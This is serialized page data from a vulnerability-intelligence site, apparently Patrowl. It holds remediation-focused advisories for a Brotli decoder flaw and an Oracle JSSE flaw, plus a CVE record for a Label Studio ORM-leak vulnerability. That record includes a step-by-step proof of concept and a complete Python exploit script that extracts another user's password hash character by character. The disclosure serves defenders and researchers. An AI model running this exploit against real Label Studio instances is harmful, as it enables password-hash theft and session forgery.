[{"data":1,"prerenderedAt":-1},["ShallowReactive",2],{"landing-trending":3,"cve-CVE-2023-47117":30,"landing-articles":87},{"count":4,"next":5,"previous":6,"results":7},266,"http:\u002F\u002Fweb:8606\u002Fapi\u002Ftrending_attacks\u002F?page=2&page_size=3&sorted_by=-published_at",null,[8,17,20],{"id":9,"title":10,"summary":11,"published_at":12,"severity":13,"vendor":14,"products":15},265,"Google Brotli decoder - Remote Code Execution via compressed requests (Exploitation Check)","This control is the second step of the Patrowl response to CVE-2026-111497 (Node2Shell). It complements the first control of 22 October 2026, which focused on the Node.js runtime, and does not replace it.\r\n\r\nWhy a second control\r\n\r\nCVE-2026-111497 is an out-of-bounds write in the Google Brotli decoder, the library that decompresses Brotli (\"br\") data. It was first published as a Node.js vulnerability, because Node.js bundles this decoder. Later publications showed that the flaw is in the library itself. Every product that embeds an affected version of the decoder is concerned, whatever its language or vendor. A public proof of concept demonstrates code execution.\r\n\r\nAny server that decompresses request bodies sent with \"Content-Encoding: br\" exposes the decoder to unauthenticated attackers. Known cases include Express 5 and NestJS 11 on Node.js, Koa and Fastify setups, Bun, Envoy and Istio with request decompression enabled, and any application or reverse proxy that decodes Brotli request bodies with an affected library.\r\n\r\nThe flaw also works in the other direction. A malicious server can compromise an unpatched client that decodes a Brotli response, for example Node.js fetch(), Python clients (requests, httpx, aiohttp, Scrapy) with the Brotli or brotlicffi package, or libcurl builds with Brotli support.\r\n\r\nWhat this control checks\r\n\r\nPatrowl sends small, valid Brotli-compressed requests to each asset and observes whether the server decodes them. The check does not depend on the technology: it detects the behaviour, whatever the stack behind it. These requests are what any legitimate client could send. They never reach the vulnerable code path and cannot affect the availability of the service.\r\n\r\nHow to read the result\r\n\r\nPotentially impacted means the asset decodes Brotli request bodies: the attack surface is exposed. It does not confirm that the asset is vulnerable. The version of the Brotli decoder in use is not visible from the outside.\r\n\r\nThis check covers applications that parse request bodies on their root path. A Not impacted result does not rule out exposure on other routes, nor on the client side. Checking the versions on the servers remains the only exhaustive verification.\r\n\r\nAffected and fixed versions\r\n\r\nGoogle Brotli 1.0.3 to 1.2.0 are affected, fixed in 1.0.10, 1.1.1 and 1.2.1. Fixed releases of the main products embedding it: Node.js 22.23.4, 24.22.1 and 26.12.1 (end-of-life lines 20.x and older and 25.x receive no fix), Bun 1.4.4, Envoy 1.37.8, 1.38.6, 1.39.3 and 1.40.0, Istio 1.29.9, 1.30.6 and 1.31.2, Python Brotli 1.2.1 and brotlicffi 1.2.1.0. Products that link against the system library depend on the Brotli package of the Linux distribution.\r\n\r\nRecommendations\r\n\r\nUpdate every component that embeds the Brotli decoder (only real fix). Start with the assets flagged by this control. Restart the processes after the update. Rebuild containers, single-executable applications and appliances that bundle an affected runtime or library.\r\n\r\nReduce the exposure until the update is deployed. Reject requests with \"Content-Encoding: br\" at the reverse proxy, load balancer or WAF, case-insensitively and including lists such as \"gzip, br\". On Envoy and Istio, disable request decompression for Brotli.\r\n\r\nReview outbound calls. List the features that fetch content from servers you do not control, and patch the services that host them first.","2026-10-24T10:37:22.192753Z",4,"google",[16],"brotli",{"id":4,"title":10,"summary":18,"published_at":12,"severity":13,"vendor":14,"products":19},"This control is the second step of the Patrowl response to CVE-2026-111497 (Node2Shell). It complements the first control of 22 October 2026, which focused on the Node.js runtime, and does not replace it.\r\n\r\nWhy a second control\r\n\r\nCVE-2026-111497 is an out-of-bounds write in the Google Brotli decoder, the library that decompresses Brotli (\"br\") data. It was first published as a Node.js vulnerability, because Node.js bundles this decoder. Later publications showed that the flaw is in the library itself. Every product that embeds an affected version of the decoder is concerned, whatever its language or vendor. A public proof of concept demonstrates code execution.\r\n\r\nAny server that decompresses request bodies sent with \"Content-Encoding: br\" exposes the decoder to unauthenticated attackers. Known cases include Express 5 and NestJS 11 on Node.js, Koa and Fastify setups, Bun, Envoy and Istio with request decompression enabled, and any application or reverse proxy that decodes Brotli request bodies with an affected library.\r\n\r\nThe flaw also works in the other direction. A malicious server can compromise an unpatched client that decodes a Brotli response, for example Node.js fetch(), Python clients (requests, httpx, aiohttp, Scrapy) with the Brotli or brotlicffi package, or libcurl builds with Brotli support.\r\n\r\nWhat this control checks\r\n\r\nPatrowl sends small, valid Brotli-compressed requests to each asset and observes whether the server decodes them. The check does not depend on the technology: it detects the behaviour, whatever the stack behind it. These requests are what any legitimate client could send. They never reach the vulnerable code path and cannot affect the availability of the service.\r\n\r\nHow to read the result\r\n\r\nPotentially impacted means the asset decodes Brotli request bodies: the attack surface is exposed. It does not confirm that the asset is vulnerable. The version of the Brotli decoder in use is not visible from the outside.\r\n\r\nThis check covers applications that parse request bodies on their root path. A Not impacted result does not rule out exposure on other routes, nor on the client side. Checking the versions on the servers remains the only exhaustive verification.\r\n\r\nTwo situations are possible. When the decoding is done by your own application or reverse proxy, identify the component and update it. If an update is not possible right away, reject requests with \"Content-Encoding: br\" at the reverse proxy or WAF.\r\n\r\nWhen the asset is hosted on a managed platform or behind a CDN (for example Platform.sh, Upsun or Fastly), the decoding may be done by the provider's edge router, in front of your application. You cannot patch it yourself, but this router handles all the traffic of your site. Ask your provider to confirm that its edge components are patched against CVE-2026-111497. Assets hosted on a managed platform or behind a CDN carry the tag \"paas: platform.sh\" or \"cdn: fastly\" in the asset view: for these assets, the Brotli decoding is done by the provider's edge router, in front of your application, and only the provider can patch it.\r\n\r\nAffected and fixed versions\r\n\r\nGoogle Brotli 1.0.3 to 1.2.0 are affected, fixed in 1.0.10, 1.1.1 and 1.2.1. Fixed releases of the main products embedding it: Node.js 22.23.4, 24.22.1 and 26.12.1 (end-of-life lines 20.x and older and 25.x receive no fix), Bun 1.4.4, Envoy 1.37.8, 1.38.6, 1.39.3 and 1.40.0, Istio 1.29.9, 1.30.6 and 1.31.2, Python Brotli 1.2.1 and brotlicffi 1.2.1.0. Products that link against the system library depend on the Brotli package of the Linux distribution.\r\n\r\nRecommendations\r\n\r\nUpdate every component that embeds the Brotli decoder (only real fix). Start with the assets flagged by this control. Restart the processes after the update. Rebuild containers, single-executable applications and appliances that bundle an affected runtime or library.\r\n\r\nReduce the exposure until the update is deployed. Reject requests with \"Content-Encoding: br\" at the reverse proxy, load balancer or WAF, case-insensitively and including lists such as \"gzip, br\". On Envoy and Istio, disable request decompression for Brotli.\r\n\r\nContact your edge provider about the status of the pathing (Fastly \u002F Plateform.sh)\r\n\r\nReview outbound calls. List the features that fetch content from servers you do not control, and patch the services that host them first.",[16],{"id":21,"title":22,"summary":23,"published_at":24,"severity":13,"vendor":25,"products":26},263,"Oracle Java SE JSSE - Improper Access Control & Unauthorized Data Access & Unauthorized Data Modification","Oracle Java SE is the Java runtime and development platform. Its JSSE (Java Secure Socket Extension) component provides TLS\u002FSSL for secure network communication. Oracle GraalVM is a JDK distribution based on the same platform.\r\n\r\nCVE-2026-91403\r\n\r\nA vulnerability in the JSSE component of Oracle Java SE, Oracle GraalVM for JDK and Oracle GraalVM Enterprise Edition can be exploited by an unauthenticated attacker with network access over multiple protocols. A successful attack can give unauthorized access to critical data and allow unauthorized creation, deletion or modification of data. It can also affect sandboxed Java Web Start applications and applets that run untrusted code. The record lists the weakness as CWE-284 (Improper Access Control) in the CISA ADP entry, while another database lists CWE-295. The record lists these affected versions:\r\n- Oracle Java SE: 8u511, 8u511-perf, 11.0.33, 17.0.21, 21.0.13, 25.0.5, 27.0.1.\r\n- Oracle GraalVM for JDK: 17.0.21, 21.0.13.\r\n- Oracle GraalVM Enterprise Edition: 21.3.20.\r\n\r\nOracle published an out-of-cycle Security Alert on October 21, 2026. One secondary source says the fix makes Java distrust eight compromised intermediate CA certificates shipped with the JDK. The Oracle-focused sources do not confirm this root cause, so check it against the Oracle advisory. CISA ADP SSVC data shows Exploitation: none, Automatable: yes, Technical Impact: total. The CVE is not in the CISA KEV catalog as of October 22, 2026, and its EPSS score is below 1%.","2026-10-23T14:12:32.871954Z","Oracle",[27,28,29],"Oracle Java SE","Oracle GraalVM Enterprise Edition","Oracle GraalVM for JDK",{"id":31,"cve_id":32,"euvd_id":33,"summary":34,"published":35,"cvss_data":36,"is_remote":46,"cwes":47,"cpes":49,"technologies":53,"references":56,"score":62,"epss_score":63,"epss_percentile":64,"is_kev":65,"cisa_kev_date_added":6,"cisa_kev_due_date":6,"cisa_ssvc":66,"attack_mappings":76,"exploits":83},333827,"CVE-2023-47117","EUVD-2023-0108","Label Studio Object Relational Mapper Leak Vulnerability in Filtering Task\n\n# Introduction\n\nThis write-up describes a vulnerability found in [Label Studio](https:\u002F\u002Fgithub.com\u002FHumanSignal\u002Flabel-studio), a popular open source data labeling tool. The vulnerability affects all versions of Label Studio prior to `1.9.2post0` and was tested on version `1.8.2`.\n\n# Overview\n\nIn all current versions of [Label Studio](https:\u002F\u002Fgithub.com\u002FHumanSignal\u002Flabel-studio), the application allows users to insecurely set filters for filtering tasks. An attacker can construct a *filter chain* to filter tasks based on sensitive fields for all user accounts on the platform by exploiting Django's Object Relational Mapper (ORM). Since the results of query can be manipulated by the ORM filter, an attacker can leak these sensitive fields character by character. For an example, the following filter chain will task results by the password hash of an account on Label Studio.\n\n```\nfilter:tasks:updated_by__active_organization__active_users__password\n```\n\nFor consistency, this type of vulnerability will be termed as **ORM Leak** in the rest of this disclosure. \n\nIn addition, Label Studio had a hard coded secret key that an attacker can use to forge a session token of any user by exploiting this ORM Leak vulnerability to leak account password hashes.\n\n# Description\n\nThe following code snippet from the `ViewSetSerializer` in [`label_studio\u002Fdata_manager\u002Fserializers.py`](https:\u002F\u002Fgithub.com\u002FHumanSignal\u002Flabel-studio\u002Fblob\u002F1.8.2\u002Flabel_studio\u002Fdata_manager\u002Fserializers.py#L115) insecurely creates `Filter` objects from a JSON `POST` request to the `\u002Fapi\u002Fdm\u002Fviews\u002F{viewId}` API endpoint.\n\n```python\n    @staticmethod\n    def _create_filters(filter_group, filters_data):\n        filter_index = 0\n        for filter_data in filters_data:\n            filter_data[\"index\"] = filter_index\n            filter_group.filters.add(Filter.objects.create(**filter_data))\n            filter_index += 1\n```\n\nThese `Filter` objects are then applied in the `TaskQuerySet` in [`label_studio\u002Fdata_manager\u002Fmanagers.py`](https:\u002F\u002Fgithub.com\u002FHumanSignal\u002Flabel-studio\u002Fblob\u002F1.8.2\u002Flabel_studio\u002Fdata_manager\u002Fmanagers.py#L473).\n\n```python\nclass TaskQuerySet(models.QuerySet):\n    def prepared(self, prepare_params=None):\n        \"\"\" Apply filters, ordering and selected items to queryset\n\n        :param prepare_params: prepare params with project, filters, orderings, etc\n        :return: ordered and filtered queryset\n        \"\"\"\n        from projects.models import Project\n\n        queryset = self\n\n        if prepare_params is None:\n            return queryset\n\n        project = Project.objects.get(pk=prepare_params.project)\n        request = prepare_params.request\n        queryset = apply_filters(queryset, prepare_params.filters, project, request) \u003C1>\n        queryset = apply_ordering(queryset, prepare_params.ordering, project, request, view_data=prepare_params.data)\n\n        if not prepare_params.selectedItems:\n            return queryset\n\n        # included selected items\n        if prepare_params.selectedItems.all is False and prepare_params.selectedItems.included:\n            queryset = queryset.filter(id__in=prepare_params.selectedItems.included)\n\n        # excluded selected items\n        elif prepare_params.selectedItems.all is True and prepare_params.selectedItems.excluded:\n            queryset = queryset.exclude(id__in=prepare_params.selectedItems.excluded)\n\n        return queryset\n```\n1. User provided filters are insecurely applied here by calling the `apply_filters` that constructs the Django ORM filter.\n\nThe `PreparedTaskManager` in [`label_studio\u002Fdata_manager\u002Fmanagers.py`](https:\u002F\u002Fgithub.com\u002FHumanSignal\u002Flabel-studio\u002Fblob\u002F1.8.2\u002Flabel_studio\u002Fdata_manager\u002Fmanagers.py#L655) uses the vulnerable `TaskQuerySet` for building the Django queryset for querying `Task` objects, as shown in the following code snippet.\n\n```python\nclass PreparedTaskManager(models.Manager):\n    #...\n\n    def get_queryset(self, fields_for_evaluation=None, prepare_params=None, all_fields=False): \u003C1>\n        \"\"\"\n        :param fields_for_evaluation: list of annotated fields in task\n        :param prepare_params: filters, ordering, selected items\n        :param all_fields: evaluate all fields for task\n        :param request: request for user extraction\n        :return: task queryset with annotated fields\n        \"\"\"\n        queryset = self.only_filtered(prepare_params=prepare_params)\n        return self.annotate_queryset(\n            queryset,\n            fields_for_evaluation=fields_for_evaluation,\n            all_fields=all_fields,\n            request=prepare_params.request\n        )\n\n    def only_filtered(self, prepare_params=None):\n        request = prepare_params.request\n        queryset = TaskQuerySet(self.model).filter(project=prepare_params.project) \u003C1>\n        fields_for_filter_ordering = get_fields_for_filter_ordering(prepare_params)\n        queryset = self.annotate_queryset(queryset, fields_for_evaluation=fields_for_filter_ordering, request=request)\n        return queryset.prepared(prepare_params=prepare_params)\n```\n1. Special Django method for the `models.Manager` class that is used to retrieve the queryset for querying objects of a model.\n2. Uses the vulnerable `TaskQuerySet` that was explained above.\n\nThe following code snippet of the `Task` model in [`label_studio\u002Ftasks\u002Fmodels.py`](https:\u002F\u002Fgithub.com\u002FHumanSignal\u002Flabel-studio\u002Fblob\u002F1.8.2\u002Flabel_studio\u002Ftasks\u002Fmodels.py#L49C1-L102C102) shows that the vulnerable `PreparedTaskManager` is set as a class variable, along with the `updated_by` relational mapping to a Django user that will be exploited as the entrypoint of the filter chain.\n\n```python\n# ...\nclass Task(TaskMixin, models.Model):\n    \"\"\" Business tasks from project\n    \"\"\"\n    id = models.AutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID', db_index=True)\n\n    # ...\n\n    updated_by = models.ForeignKey(settings.AUTH_USER_MODEL, related_name='updated_tasks',\n        on_delete=models.SET_NULL, null=True, verbose_name=_('updated by'),\n        help_text='Last annotator or reviewer who updated this task') \u003C1>\n\n    # ...\n\n    objects = TaskManager()  # task manager by default\n    prepared = PreparedTaskManager()  # task manager with filters, ordering, etc for data_manager app \u003C2>\n\n    # ...\n```\n1. The entry point of the filter chain to filter by the `updated_by__active_organization__active_users__password`.\n2. The vulnerable `PreparedTaskManager` being set that will be exploited.\n\nFinally, the `TaskListAPI` view set in [`label_studio\u002Ftasks\u002Fapi.py`](https:\u002F\u002Fgithub.com\u002FHumanSignal\u002Flabel-studio\u002Fblob\u002F1.8.2\u002Flabel_studio\u002Ftasks\u002Fapi.py#L205) with the `\u002Fapi\u002Ftasks` API endpoint uses the vulnerable `PreparedTaskManager` to filter `Task` objects.\n\n```python\n    def get_queryset(self):\n        task_id = self.request.parser_context['kwargs'].get('pk')\n        task = generics.get_object_or_404(Task, pk=task_id)\n        review = bool_from_request(self.request.GET, 'review', False)\n        selected = {\"all\": False, \"included\": [self.kwargs.get(\"pk\")]}\n        if review:\n            kwargs = {\n                'fields_for_evaluation': ['annotators', 'reviewed']\n            }\n        else:\n            kwargs = {'all_fields': True}\n        project = self.request.query_params.get('project') or self.request.data.get('project')\n        if not project:\n            project = task.project.id\n        return self.prefetch(\n            Task.prepared.get_queryset(\n                prepare_params=PrepareParams(project=project, selectedItems=selected, request=self.request),\n                **kwargs\n            )) \u003C1>\n```\n1. Uses the vulnerable `PreparedTaskManager` to filter objects.\n\n# Proof of Concept\n\nBelow are the steps to exploit about how to exploit this vulnerability to leak the password hash of an account on Label Studio.\n\n1. Create two accounts on Label Studio and choose one account to be the victim and the other the hacker account that you will use.\n2. Create a new project or use an existing project, then add a task to the project. Update the task with the hacker account to cause the entry point of the filter chain.\n3. Navigate to the task view for the project and add any filter with the `Network` inspect tab open on the browser. Look for a `PATCH` request to `\u002Fapi\u002Fdm\u002Fviews\u002F{view_id}?interaction=filter&project={project_id}` and save the `view_id` and `project_id` for the next step.\n4. Download the attached proof of concept exploit script named `labelstudio_ormleak.py`. This script will leak the password hash of the victim account character by character. Run the following command to run the exploit script, replacing the `{view_id}`, `{project_id}`, `{cookie_str}` and `{url}` with the corresponding values. For further explanation run `python3 labelstudio_ormleak.py --help`.\n\n```bash\npython3 labelstudio_ormleak.py -v {view_id} -p {project_id} -c '{cookie_str}' -u '{url}'\n```\n\nThe following example GIF demonstrates exploiting this ORM Leak vulnerability to retrieve the password hash `pbkdf2_sha256$260000$KKeew1othBwMKk2QudmEgb$ALiopdBpWMwMDD628xeE1Ie7YSsKxdXdvWfo\u002FPvVXvw=`.\n\n![labelstudio_ormleak_poc](https:\u002F\u002Fuser-images.githubusercontent.com\u002F139727151\u002F266986646-a3d1367c-fb4d-4482-9b6a-18a5d7316385.gif)\n\n# Impact\n\nThis vulnerability can be exploited to completely compromise the confidentiality of highly sensitive account information, such as account password hashes. For all versions `\u003C=1.8.1`, this finding can also be chained with hard coded `SECRET_KEY` to forge session tokens of any user on Label Studio and could be abuse to deteriorate the integrity and availability.\n\n# Remediation Advice\n\n* Do not use unsanitised values for constructing a filter for querying objects using Django's ORM. Django's ORM allows querying by relation field and performs auto lookups, that enable filtering by sensitive fields.\n* Validate filter values to an allow list before performing any queries.\n\n# Discovered\n- August 2023, Alex Brown, elttam\n\n---\n# `labelstudio_ormleak.py` proof of concept\n\n```py\nimport argparse\nimport re\nimport requests\nimport string\nimport sys\n\n# Password hash characters\nCHARS = string.ascii_letters + string.digits + '$\u002F+=_!'\nCHARS_LEN = len(CHARS)\n\nPAYLOAD = {\n    \"data\": {\n        \"columnsDisplayType\": {},\n        \"columnsWidth\": {},\n        \"filters\": {\n            \"conjunction\": \"and\",\n            \"items\": [\n                {\n                    \"filter\": \"filter:tasks:updated_by__active_organization__active_users__password\", # ORM Leak filter chain\n                    \"operator\": \"regex\", # Use regex operator to filter password hash value\n                    \"type\": \"String\",\n                    \"value\": \"REPLACEME\"\n                }\n            ]\n        },\n        \"gridWidth\": 4,\n        \"hiddenColumns\":{\"explore\":[\"tasks:inner_id\"],\"labeling\":[\"tasks:id\",\"tasks:inner_id\"]},\n        \"ordering\": [],\n        \"search_text\": None,\n        \"target\": \"tasks\",\n        \"title\": \"Default\",\n        \"type\": \"list\"\n    },\n    \"id\": 1, # View ID\n    \"project\": \"1\" # Project ID\n}\n\ndef parse_args() -> argparse.Namespace:\n    parser = argparse.ArgumentParser(\n        description='Leak an accounts password hash by exploiting a ORM Leak vulnerability in Label Studio'\n    )\n\n    parser.add_argument(\n        '-v', '--view-id',\n        help='View id of the page',\n        type=int,\n        required=True\n    )\n\n    parser.add_argument(\n        '-p', '--project-id',\n        help='Project id to filter tasks for',\n        type=int,\n        required=True\n    )\n\n    parser.add_argument(\n        '-c', '--cookie-str',\n        help='Cookie string for authentication',\n        required=True\n    )\n\n    parser.add_argument(\n        '-u', '--url',\n        help='Base URL to Label Studio instance',\n        required=True\n    )\n\n    return parser.parse_args()\n\ndef setup() -> dict:\n    args = parse_args()\n    view_id = args.view_id\n    project_id = args.project_id\n    path_1 = \"\u002Fapi\u002Fdm\u002Fviews\u002F{view_id}?interaction=filter&project={project_id}\".format(\n        view_id=view_id,\n        project_id=project_id\n    )\n    path_2 = \"\u002Fapi\u002Ftasks?page=1&page_size=1&view={view_id}&interaction=filter&project={project_id}\".format(\n        view_id=view_id,\n        project_id=project_id\n    )\n    PAYLOAD[\"id\"] = view_id\n    PAYLOAD[\"project\"] = str(project_id)\n    \n    config_dict = {\n        'COOKIE_STR': args.cookie_str,\n        'URL_PATH_1': args.url + path_1,\n        'URL_PATH_2': args.url + path_2,\n        'PAYLOAD': PAYLOAD\n    }\n    return config_dict\n\ndef test_payload(config_dict: dict, payload) -> bool:\n    sys.stdout.flush()\n    cookie_str = config_dict[\"COOKIE_STR\"]\n    r_set = requests.patch(\n        config_dict[\"URL_PATH_1\"],\n        json=payload,\n        headers={\n            \"Cookie\": cookie_str\n        }\n    )\n\n    r_listen = requests.get(\n        config_dict['URL_PATH_2'],\n        headers={\n            \"Cookie\": cookie_str\n        }\n    )\n\n    r_json = r_listen.json()\n    return len(r_json[\"tasks\"]) >= 1\n\ndef test_char(config_dict, known_hash, c):\n    json_payload_suffix = PAYLOAD\n    test_escaped = re.escape(known_hash + c)\n    json_payload_suffix[\"data\"][\"filters\"][\"items\"][0][\"value\"] =  f\"^{test_escaped}\"\n\n    suffix_result = test_payload(config_dict, json_payload_suffix)\n    if suffix_result:\n        return (known_hash + c, c)\n    \n    return None\n\ndef main():\n    config_dict = setup()\n    # By default Label Studio password hashes start with these characters\n    known_hash = \"pbkdf2_sha256$260000$\"\n    print()\n    print(f\"dumped: {known_hash}\", end=\"\")\n    sys.stdout.flush()\n\n    while True:\n        found = False\n\n        for c in CHARS:\n            r = test_char(config_dict, known_hash, c)\n            if not r is None:\n                new_hash, c = r\n                known_hash = new_hash\n                print(c, end=\"\")\n                sys.stdout.flush()\n                found = True\n                break\n\n        if not found:\n            break\n\n    print()\n\nif __name__ == \"__main__\":\n    main()\n```","2023-11-14T18:27:00Z",{"cvss_v3.1":37},{"scope":38,"version":39,"baseScore":40,"attackVector":41,"baseSeverity":42,"vectorString":43,"integrityImpact":44,"userInteraction":44,"attackComplexity":45,"availabilityImpact":44,"privilegesRequired":44,"confidentialityImpact":42},"UNCHANGED","3.1",7.5,"NETWORK","HIGH","CVSS:3.1\u002FAV:N\u002FAC:L\u002FPR:N\u002FUI:N\u002FS:U\u002FC:H\u002FI:N\u002FA:N","NONE","LOW",true,[48],"CWE-200",[50,51,52],"cpe:2.3:a:humansignal:label_studio:1.9.2:-:*:*:*:*:*:*","cpe:2.3:a:humansignal:label_studio:*:*:*:*:*:*:*:*","cpe:2.3:a:label-studio:label-studio:*:*:*:*:*:*:*:*",[54,55],"Humansignal Label Studio","Label-Studio Label-Studio",[57,58,59,60,61],"https:\u002F\u002Fgithub.com\u002FHumanSignal\u002Flabel-studio\u002Fcommit\u002Ff931d9d129002f54a495995774ce7384174cef5c","https:\u002F\u002Fgithub.com\u002FHumanSignal\u002Flabel-studio\u002Fsecurity\u002Fadvisories\u002FGHSA-6hjj-gq77-j4qw","https:\u002F\u002Fnvd.nist.gov\u002Fvuln\u002Fdetail\u002FCVE-2023-47117","https:\u002F\u002Fgithub.com\u002FHumanSignal\u002Flabel-studio","https:\u002F\u002Fgithub.com\u002Fpypa\u002Fadvisory-database\u002Ftree\u002Fmain\u002Fvulns\u002Flabel-studio\u002FPYSEC-2023-275.yaml",0.73,0.04055,0.90576,false,{"timestamp":67,"automatable":68,"tech_impact":69,"exploitation":70,"cisa_decision":71,"cisa_remediation_timeline":75},"2025-01-08T21:11:59.859697Z","yes","partial","poc",{"vector":72,"decision":73,"priority":74},"CISAv1\u002FE:P\u002FA:Y\u002FT:P\u002FM:H\u002F2026-10-26T09:38:40.950896\u002F","attend","medium","14D",[77],{"name":78,"source":79,"tactics":80,"technique_id":82},"Exploit Public-Facing Application","attack_vector",[81],"initial-access","T1190",[84,85],{"link":58},{"link":86},"https:\u002F\u002Fgithub.com\u002Fprojectdiscovery\u002Fnuclei-templates\u002Fblob\u002Fmain\u002Fhttp\u002Fcves\u002F2023\u002FCVE-2023-47117.yaml",{"count":88,"next":89,"previous":6,"results":90},26,"http:\u002F\u002Fweb:8606\u002Fapi\u002Farticles\u002F?page=2&page_size=3&sorted_by=-published_at",[91,99,107],{"id":92,"title":93,"summary":94,"published_at":95,"type":96,"link":97,"image_url":98},30,"PHP2Shell: Two Critical RCE Flaws in PHP (CVSS 9.2)","Unauthenticated code execution demonstrated on WordPress, Drupal and Joomla, and reproduced in our lab. Patched versions and steps to take today.","2026-10-22T00:00:00Z","cve","https:\u002F\u002Fpatrowl.io\u002Fen\u002Fblog\u002Fphp2shell-2-critical-rce-flaws-php-cvss-9-2","https:\u002F\u002Fpatrowl.io\u002Fmedia\u002Fsite\u002Fc0615c4ee6-1792684469\u002Fphp2shell-2-critical-rce-flaws-php-cvss-9-2.png",{"id":100,"title":101,"summary":102,"published_at":103,"type":104,"link":105,"image_url":106},29,"Manage External Security Across All Your Entities","Centralize the management of entities, users and external security resources while maintaining strict data isolation with Patrowl.","2026-09-15T00:00:00Z","security tips","https:\u002F\u002Fpatrowl.io\u002Fen\u002Fblog\u002Fmulti-entity-external-security-how-structure-governance-group-level","https:\u002F\u002Fpatrowl.io\u002Fmedia\u002Fsite\u002F8b2c0cc5eb-1789551467\u002Fvisu_1_multi_tenancy_dark_1x.webp",{"id":108,"title":109,"summary":110,"published_at":111,"type":112,"link":113,"image_url":114},28,"Will AI Become the Next Hacker? Bruce Schneier Answers at DEF CON 34","Tax law, finance, legislation: Bruce Schneier shows how AI could hack human rule systems just as easily as it hacks software.","2026-09-14T00:00:00Z","hacks","https:\u002F\u002Fpatrowl.io\u002Fen\u002Fblog\u002Fbruce-schneier-def-con-34","https:\u002F\u002Fpatrowl.io\u002Fmedia\u002Fsite\u002F5c616d9db4-1789462598\u002Fai-hacker.en.png"]